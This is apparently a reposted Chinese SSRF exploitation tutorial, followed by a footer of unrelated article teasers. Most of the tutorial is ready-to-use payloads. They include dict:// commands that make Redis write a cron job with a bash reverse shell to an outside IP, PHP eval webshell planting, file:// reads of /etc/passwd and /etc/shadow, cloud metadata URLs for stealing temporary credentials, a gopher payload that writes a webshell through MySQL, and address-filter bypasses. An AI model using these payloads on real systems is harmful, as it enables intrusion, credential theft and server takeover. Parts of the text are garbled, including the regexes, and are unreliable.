SSRF相關

SSRF(Server Side Request Forgery,服務器端請求偽造),攻擊者以服務器的身份發送一條構造好的請求給服務器所在地內網進行探測或攻擊。
產生原理:
服務器端提供了能從其他服務器應用獲取數據的功能,如從指定url獲取網頁內容、加載指定地址的圖片、數據、下載等。
例:http://xxx.com/api/readFiles?url=http://10.10.10.10/xxx

常見功能點、關鍵字、利用的協議
容易出現 SSRF 的功能點
一切要你輸入網址的地方和可以輸入ip的地方。有 URL 傳參的功能點都有可能。
1、轉碼服務、在線翻譯
● 示例 :翻譯網頁內容、HTML 轉 PDF、內容格式轉換等
2、圖片加載與下載
● 示例:通過 URL 加載圖片、下載遠程圖片、顯示頭像。
3、網頁內容展示、分析
● 示例:通過URL地址進行網頁分享、通過URL地址把原地址的網頁轉換格式
4、遠程資源調用
● 示例:服務器根據 url 獲取資源,如 js、css、圖片等
5、富文本編輯器
● 示例: UEditor、TinyMCE 自動抓取粘貼內容中的遠程圖片。
6、 網站采集 / 抓取功能
● 示例:爬蟲任務、網頁快照、資訊聚合平臺。
7、 內容打包與導出
● 示例:HTML轉PDF、內容封裝下載。
8、 頭像功能
● 示例:通過第三方 URL 加載用戶頭像。
9、 內容收藏 / 收藏夾功能
● 示例:收藏文章、圖片時后臺請求原地址。
10、 存活檢測 / URL健康檢查
● 示例:檢測目標設備是否在線、URL是否可訪問。
常見 SSRF 功能點參數
從URL關鍵字中尋找:
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain
常見的利用協議
http 協議:可以直接訪問 http 資源
http://www.test.com/readFiles?url=http://20.10.10.10/xxx.php

file 協議:讀取文件
http://www.test.com/readFiles?url=file:///etc/passwd
/etc/passwd
/etc/shadow
/etc/hosts //有時候會存放內網地址(靜態映射)
/proc/net/arp //arp緩存c存放位置,其中保存著最近通信過的設備的 IP 地址與 MAC 地址的映射關系
/proc/net/fibn_trie //存放網絡適配器地址
得到了內網地址,可以使用http協議爆破網段內的其他內網地址,然后使用dict協議進行端口探測

dict 協議:探測開放端口、主機存活
http://www.test.com/readFiles?url=dict://1000.1.22
gopher 協議:支持 GET 和 POST 請求,可進行復雜漏洞利用

當我們發現SSRF漏洞后,首先要做的事情就是測試所有可用的協議:
● http://
● file:///
● dict://
● sftp://
● ldap://
● tftp://
● gopher://
http協議
直接訪問資源,探測內網主機端口、探測內網主機存活、目錄掃描
http://xxx.com/ssrf_curl.php?url=http://127.0.0.1:80/xxx.php
file協議
讀取本地文件
http://xxx.com/ssrf_curl.php?url=file:///D:/tools/phpstudy/phpstudy_pro/WWW/name.php
file:///etc/passwd 讀取文件passwd
file:///etc/hosts 顯示當前操作系統網卡的IP
file:///proc/net/arp 顯示arp緩存表(尋找內網其他主機)
file:///proc/net/fib _trie 顯示當前網段路由信息
dict協議
泄露安裝軟件版本信息、掃描端口、獲取內網信息、操作內網redis服、爆破密碼等
dict執行多行命令時,只能一次執行單行,需要多次執行。
一、探測端口和服務指紋
dict://127.0.0.1:3306

二、dict攻擊redis:寫入定時任務,反彈shell
centos系統定時任務的路徑為:/var/spool/cron
debian系統定時任務的路徑為:/var/spool/cron/crontabs

//使用config set命令指定redis的dbfiename為root
dict://127.0.0.1:6379/config:set:dbfilename:root
//設置redis的dir為/var/spool/cron
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
//設置一個鍵值對,test為鍵名,后面為定時任務內容
dict://127.0.0.1:6379/set:test:“\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n”
//保存
dict://127.0.0.1:6379/save

三、dict攻擊redis:寫入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:“\n\n<?php @eval($_POST[1]);?>\n\n”
dict://127.0.0.1:6379/save
gopher協議
發送GET或POST請求、攻擊內網應用(redis、fastcgi、sql、smtp等)
基本格式:
gopher://ip:port/abcd
● 由于gopher請求不轉發第一個字符,要使用下劃線(
)或其他符號填充首位。
● 在gopher協議數據流中,url編碼使用%0d%0a替換字符串中的回車換行,數據流末尾使用%0d%0a代表消息結束

繞過
繞過特定限制
使用@繞過域名限制
一般用于 http://www.xxx.com 等域名不可修改的情況。
例如:http://www.xxx.com@127.0.0.1實際上訪問的是 127.0.0.1
使用@繞過域名限制
403
GET /proxy?url=https:///10.10.10.10/ HTTP/1.1
Host: xxx.com
添加 @進行繞過
200
GET /proxy?url=https:///10.10.10.10@www.xxx.com/ HTTP/1.1
Host: xxx.com
成功訪問到 vps:10.10.10.10
這里的 10.10.10.10可以是 vps,dnslog 等
使用/#/繞過后綴限制
一般用 png,jpg 等后綴不能更改
訪問 http://10.10.10.10:5001/#/123.jpg
實際上訪問的就是 http://10.10.10.10:5001

繞過請求 IP 不能為內網地址
DNS重綁定

攻擊原理:
用戶輸入完url之后,服務器提取 url 中的host并進行dns解析為ip,然后判斷ip是否在指定范圍內,但是在判斷得到的 ip 為指定范圍內的ip,到服務器請求url這個過程中間存在一個細微的時間差。
DNS重綁定利用的就是這個時間差,讓服務器第一次解析host的ip為符合的公網ip,在第二次請求解析 url時host的ip又變為不符合規則的內網ip,從而進行SSRF。
整個過程對于瀏覽器來說整個過程都是訪問同一域名,因此認為是安全的,這就導致繞過。
可以直接使用 bp 進行并發。
在線利用網站:https://lock.cmpxchg8b.com/rebinder.html
TTL最理想的設置為0,即在第一次解析之后,立馬換為我們想要訪問的內網ip,但有些公共DNS服務器,比如 114.114.114.114還是會把記錄進行緩存。
在某些情況下,我們甚至可以對同一個域名設置兩個A記錄(一個內網、一個外網),隨機訪問兩條記錄中的一個,就會有概率成功。
https://lock.cmpxchg8b.com/rebinder.html

最好在第一個填寫公網地址,第二個填寫內網地址。然后復制下面的url,拿到具有該漏洞的頁面進行測試。例如:
http://deb7400b.7f000001.rbndr.us/flag.php

302 重定向
使用自己的vps進行重定向
使用自己搭建的vps進行重定向。
創建一個302.php文件,內容如下。

<?php header("Location: http://127.0.0.1"); exit(); ?>

如果是src,有的會給測試靶子,將ip替換即可
sudo.cc重定向
有一個sudo.cc的服務,當訪問這個服務的時候,會自動重定向到127.0.0.1。
繞過時使用sudo.cc代替127.0.0.1即可。或者使用www.localtest.med代替
root@VM-8-8-ubuntu:/# ping sudo.cc -c 4
PING sudo.cc (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.036 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.034 ms
64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.033 ms

— sudo.cc ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3052ms
rtt min/avg/max/mdev = 0.026/0.032/0.036/0.003 ms
使用。代替.
http://127.0.0.1變成http://127。1。1。1,這里沒有成功,
進制轉換
將127.0.0.1轉換成其他進制繞過檢測
0177.0.0.1 //八進制
0x7f.0.0.1 //十六進制
2130706433 //十進制

127.0.0.1 點分十進制
0b01111111000000000000000000000001 二進制
017700000001 八進制
0x7F000001 十六進制
2130706433 十進制(連續)
0177.0000.0000.0001 點分八進制
0x7F.0x00.0x00.0x01 點分十六進制
0x7F.0.0.1 也可以只轉一個
省略0
http://127.0.0.1變成http://127.1
root@VM-8-8-ubuntu:/# ping 127.1 -c 4
PING 127.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.033 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.038 ms

— 127.1 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3070ms
rtt min/avg/max/mdev = 0.028/0.033/0.038/0.003 ms
特殊0
在windows下,0代表0.0.0.0,在linux下,0代表127.0.0.1
C:\Users\40835>ping 0

正在 Ping 0.0.0.0 具有 32 字節的數據:
PING:傳輸失敗。常見故障。
PING:傳輸失敗。常見故障。
PING:傳輸失敗。常見故障。
PING:傳輸失敗。常見故障。

0.0.0.0 的 Ping 統計信息:
數據包: 已發送 = 4,已接收 = 0,丟失 = 4 (100% 丟失),
root@VM-8-8-ubuntu:/# ping 0 -c 4
PING 0 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.033 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.038 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.030 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.032 ms

— 0 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3056ms
rtt min/avg/max/mdev = 0.030/0.033/0.038/0.003 ms
也可以嘗試4位都寫0:0.0.0.0
root@VM-8-8-ubuntu:/# ping 0.0.0.0 -c 4
PING 0.0.0.0 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.035 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.027 ms

— 0.0.0.0 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3073ms
rtt min/avg/max/mdev = 0.026/0.031/0.036/0.004 ms
ipv6表示法繞過
[0:0:0:0:0:ffff:127.0.0.1]是ipv6兼容ipv4的格式
http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php
本地回環地址繞過
整個 127.0.0.0/8都是回環地址,使用 127.0.0.2代替 127.0.0.1,或者其他都可以嘗試。
短網址繞過
利用下面這個網站,生成指定網址的短網址
https://www.985.so/
封閉式字符集
127.0.0.1
轉換成
①②⑦. ?.?.①

字符集
???????.??? >>> example.com

List:

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ? ? ? ? ? ? ? ? ? ?

⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇

⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

? ? ? ? ? ? ? ? ? ? ?

? ? ? ? ? ? ? ? ? ? ?
xip.io
10.10.10.10.xip.io會被解析成 10.10.10.10

自動化測試
常規正則匹配:
在AutoRepeater(burp 插件)中配置自動替換規則,將下面正則替換為你自己的 DNSLog 地址即可。
autoReapter中最好加入baseReplacement模塊,其他模塊沒有反應。直接加入優化后的兩個正則即可。
((https|http|file)😕/.)|((https|http|file)%3(a|A)%2(f|F)%2(f|F).)

優化正則匹配1:
(https?😕/(?:www.)?[-a-zA-Z0-9@:%.+#=]{1,256}.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()!@:%_+.#?&//=]*)|https?%3(a|A)%2(f|F)%2(f|F)(?:www.)?[-a-zA-Z0-9@:%.+#=]{1,256}.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()!@:%_+.#?&//=]))
(https?😕/(?:www.)?[-a-zA-Z0-9@:%._+#=]{1,256}.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()!@:%_+.#?&//=]
)|https?%3(a|A)%2(f|F)%2(f|F)(?:www.)?[-a-zA-Z0-9@:%._+#=]{1,256}.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()!@:%_+.#?&//=]*))

優化正則匹配2:
當傳參中存在一個固定的相對路徑,這個相對鏈接正常是拼接到當前域名的
POST xxx/test
xxxx
xxxx
data=[“/pic/getpicurl”]
這個目錄實際上也是網站的目錄,可以嘗試使用@進行繞過,替換為[/pic/getpicurl@10.10.10.10]這種格式。
下面為匹配這種格式url的正則
((?:%2[fF][\w.-]+(?:%2[fF][\w.-]))(?:%3fF)?|(?😕[\w.-]+(?😕[\w.-]))(?:?([\w.%3D&=-]+))?)
((?:%2[fF][\w.-]+(?:%2[fF][\w.-]))(?:%3fF)?|(?😕[\w.-]+(?😕[\w.-]))(?:?([\w.%3D&=-]+))?)

流程
查看bp的dnslog是否收到請求,證明當前功能點可以對外發起請求
判斷是否有回顯
● 有回顯
○ 如果是有ssrf靶子的src,直接替換成靶子的ip
○ 如果沒有靶子,嘗試dict協議探測127.0.0.1端口、內網ip、file協議讀取敏感文件、http協議探測、gohper協議等等…
● 無回顯
○ 如果有無回顯的ssrf靶子,就替換成靶子的ip
○ 如果沒有靶子,就使用自己的dnslog地址,使用dict協議,去探測端口,根據響應時長

利用
云上 SSRF 利用
ssrf探測src內網均失敗,猜測為云服務器,于是探測元數據地址,成功回顯
各大廠商的元數據地址 :
阿里云元數據地址:http://100.100.100.200/
騰訊云元數據地址:http://metadata.tencentyun.com/
華為云元數據地址:http://169.254.169.254/
亞馬云元數據地址:http://169.254.169.254/
微軟云元數據地址:http://169.254.169.254/
谷歌云元數據地址:http://metadata.google.internal/
將返回的base64解碼,得到服務器數據,證明SSRF全回顯。
騰訊云深度利用
訪問元數據
http://metadata.tencentyun.com/latest/meta-data/ 獲取 metadata 版本信息。

查詢實例元數據。
http://metadata.tencentyun.com/latest/meta-data/placement/region

獲取實例物理所在地信息。
http://metadata.tencentyun.com/latest/meta-data/local-ipv4

獲取實例內? IP。實例存在多張?卡時,返回 eth0 設備的?絡地址。
http://metadata.tencentyun.com/latest/meta-data/public-ipv4

獲取實例公? IP。
http://metadata.tencentyun.com/network/interfaces/macs/${mac}/vpc-id

實例?絡接? VPC ?絡 ID。
在獲取到??名稱后,可以通過以下鏈接取??的臨時憑證,KaTeX parse error: Unexpected character: '' at position 86: …ta/cam/security?credentials/{rolename}
如果配置cam的情況下,可以嘗試獲取用戶憑證并接管。
阿里云深度利用
查看實例元數據的根目錄
http://100.100.100.200/latest/meta-data

查看實例ID:
http://100.100.100.200/latest/meta-data/instance-id

訪問RAM 角色的臨時憑證:
http://100.100.100.200/latest/meta-data/ram/security-credentials/

獲取AK SK信息
http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorpterraform-goat-role

打Redis
gopher打redis時,需要二次url編碼。也可以使用gopherus

打MySQL
利用工具gopherus生成payload(需要python2環境):https://github.com/tarunkant/Gopherus

其中有時下劃線后面的內容需要再url編碼一次。
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%01%00%00%00%01

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2527%2501%2500%2500%2500%2501
其他
可以對外網、服務器所在內網、本地進行端口掃描,獲取一些服務的banner 信息
攻擊運行在內網或本地的應用程序
對內網 WEB 應用進行指紋識別,通過訪問默認文件實現(如:readme文件)
攻擊內外網的 web 應用,主要是使用 GET 參數就可以實現的攻擊(如:Struts2,sqli)
下載內網資源(如:利用file協議讀取本地文件等)
進行跳板
無視cdn
利用Redis未授權訪問,HTTP CRLF注入實現getshell

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/905259.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/905259.shtml
英文地址,請注明出處:http://en.pswp.cn/news/905259.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

SaaS備份的必要性:廠商之外的數據保護策略

在當今數字化時代&#xff0c;企業對SaaS&#xff08;軟件即服務&#xff09;應用的依賴程度不斷攀升。SaaS應用為企業提供了便捷的生產力工具&#xff0c;然而&#xff0c;這也使得數據安全面臨諸多挑戰&#xff0c;如意外刪除、勒索軟件攻擊以及供應商故障等。因此&#xff0…

【Python 基礎語法】

Python 基礎語法是編程的基石&#xff0c;以下從核心要素到實用技巧進行系統梳理&#xff1a; 一、代碼結構規范 縮進規則 使用4個空格縮進&#xff08;PEP 8標準&#xff09;縮進定義代碼塊&#xff08;如函數、循環、條件語句&#xff09; def greet(name):if name: # 正確縮…

利用“Flower”實現聯邦機器學習的實戰指南

一個很尷尬的現狀就是我們用于訓練 AI 模型的數據快要用完了。所以我們在大量的使用合成數據&#xff01; 據估計&#xff0c;目前公開可用的高質量訓練標記大約有 40 萬億到 90 萬億個&#xff0c;其中流行的 FineWeb 數據集包含 15 萬億個標記&#xff0c;僅限于英語。 作為…

自動化測試與功能測試詳解

&#x1f345; 點擊文末小卡片&#xff0c;免費獲取軟件測試全套資料&#xff0c;資料在手&#xff0c;漲薪更快 什么是自動化測試? 自動化測試是指利用軟件測試工具自動實現全部或部分測試&#xff0c;它是軟件測試的一個重要組成 部分&#xff0c;能完成許多手工測試無…

MySQL全量,增量備份與恢復

目錄 一.MySQL數據庫備份概述 1.數據備份的重要性 2.數據庫備份類型 3.常見的備份方法 二&#xff1a;數據庫完全備份操作 1.物理冷備份與恢復 2.mysqldump 備份與恢復 3.MySQL增量備份與恢復 3.1MySQL增量恢復 3.2MySQL備份案例 三&#xff1a;定制企業備份策略思路…

Ubuntu 安裝 Nginx

Nginx 是一個高性能的 Web 服務器和反向代理服務器&#xff0c;同時也可以用作負載均衡器和 HTTP 緩存。 Nginx 的主要用途 用途說明Web服務器提供網頁服務&#xff0c;處理用戶的 HTTP 請求&#xff0c;返回 HTML、CSS、JS、圖片等靜態資源。反向代理服務器將用戶請求轉發到…

人工智能 機器學習期末考試題

自測試卷2 一、選擇題 1&#xff0e;下面哪個屬性不是NumPy中數組的屬性&#xff08; &#xff09;。 A&#xff0e;ndim B&#xff0e;size C&#xff0e;shape D&#xff0e;add 2&#xff0e;一個簡單的Series是由&#xff08; &#xff09;的數據組成的。 A&#xff0e;兩…

使用阿里云CLI調用OpenAPI

介紹使用阿里云CLI調用OpenAPI的具體操作流程&#xff0c;包括安裝、配置憑證、生成并調用命令等步驟。 方案概覽 使用阿里云CLI調用OpenAPI&#xff0c;大致分為四個步驟&#xff1a; 安裝阿里云CLI&#xff1a;根據您使用設備的操作系統&#xff0c;選擇并安裝相應的版本。…

K8S Svc Port-forward 訪問方式

在 Kubernetes 中&#xff0c;kubectl port-forward 是一種 本地與集群內資源&#xff08;Pod/Service&#xff09;建立臨時網絡隧道 的訪問方式&#xff0c;無需暴露服務到公網&#xff0c;適合開發調試、臨時訪問等場景。以下是詳細使用方法及注意事項&#xff1a; 1. 基礎用…

23、DeepSeek-V2論文筆記

DeepSeek-V2 1、背景2、KV緩存優化2.0 KV緩存&#xff08;Cache&#xff09;的核心原理2.1 KV緩存優化2.2 性能對比2.3 架構2.4多頭注意力 &#xff08;MHA&#xff09;2.5 多頭潛在注意力 &#xff08;MLA&#xff09;2.5.1 低秩鍵值聯合壓縮 &#xff08;Low-Rank Key-Value …

MySQL OCP試題解析(2)

試題如下圖所示&#xff1a; 一、題目背景還原 假設存在以下MySQL用戶權限配置&#xff1a; -- 創建本地會計用戶CREATE USER accountinglocalhost IDENTIFIED BY acc_123;-- 創建匿名代理用戶&#xff08;用戶名為空&#xff0c;允許任意主機&#xff09;CREATE USER % IDENTI…

深度學習Y7周:YOLOv8訓練自己數據集

&#x1f368; 本文為&#x1f517;365天深度學習訓練營中的學習記錄博客&#x1f356; 原作者&#xff1a;K同學啊 一、配置環境 1.官網下載源碼 2.安裝需要環境 二、準備好自己的數據 目錄結構&#xff1a; 主目錄 data images&#xff08;存放圖片&#xff09; annotati…

英偉達Blackwell架構重構未來:AI算力革命背后的技術邏輯與產業變革

——從芯片暴力美學到分布式智能體網絡&#xff0c;解析英偉達如何定義AI基礎設施新范式 開篇&#xff1a;當算力成為“新石油”&#xff0c;英偉達的“煉油廠”如何升級&#xff1f; 2025年3月&#xff0c;英偉達GTC大會上&#xff0c;黃仁勛身披標志性皮衣&#xff0c;宣布了…

CurrentHashMap的整體系統介紹及Java內存模型(JVM)介紹

當我們提到ConurrentHashMap時&#xff0c;先想到的就是HashMap不是線程安全的&#xff1a; 在多個線程共同操作HashMap時&#xff0c;會出現一個數據不一致的問題。 ConcurrentHashMap是HashMap的線程安全版本。 它通過在相應的方法上加鎖&#xff0c;來保證多線程情況下的…

Android開發-設計規范

在Android應用開發中&#xff0c;遵循良好的設計規范不僅能夠提升用戶體驗&#xff0c;還能確保代碼的可維護性和擴展性。本文將從用戶界面&#xff08;UI&#xff09;、用戶體驗&#xff08;UX&#xff09;、性能優化以及代碼結構等多個維度探討Android開發中的設計規范&#…

泛型加持的策略模式:打造高擴展的通用策略工具類

一、傳統策略模式的痛點與突破 1.1 傳統策略實現回顧 // 傳統支付策略接口 public interface PaymentStrategy {void pay(BigDecimal amount); }// 具體策略實現 public class AlipayStrategy implements PaymentStrategy {public void pay(BigDecimal amount) { /* 支付寶支…

物聯網從HomeAssistant開始

文章目錄 一、什么是home-assistant?1.核心架構2.集成架構 二、在樹梅派5上安裝home-assistant三、接入米家1.對比下趨勢2.手動安裝插件3.配置方式 四、接入公牛1.手動安裝插件2.配置方式 五、接入海爾1.手動安裝插件2.配置方式 六、接入國家電網 一、什么是home-assistant? …

系統架構-嵌入式系統架構

原理與特征 嵌入式系統的典型架構可概括為兩種模式&#xff0c;即層次化模式架構和遞歸模式架構 層次化模式架構&#xff0c;位于高層的抽象概念與低層的更加具體的概念之間存在著依賴關系&#xff0c;封閉型層次架構指的是&#xff0c;高層的對象只能調用同一層或下一層對象…

計算機圖形學編程(使用OpenGL和C++)(第2版)學習筆記 09.天空和背景

天空和背景 對于 3D 場景&#xff0c;通常可以通過在遠處的地平線附近創造一些逼真的效果&#xff0c;來增強其真實感。我們可以采用天空盒、天空柱&#xff08;Skydome&#xff09;或天空穹&#xff08;Skydome&#xff09;等技術來模擬天空。 天空盒 天空盒&#xff08;Sk…

【Leetcode 每日一題】1550. 存在連續三個奇數的數組

問題背景 給你一個整數數組 a r r arr arr&#xff0c;請你判斷數組中是否存在連續三個元素都是奇數的情況&#xff1a;如果存在&#xff0c;請返回 t r u e true true&#xff1b;否則&#xff0c;返回 f a l s e false false。 數據約束 1 ≤ a r r . l e n g t h ≤ 10…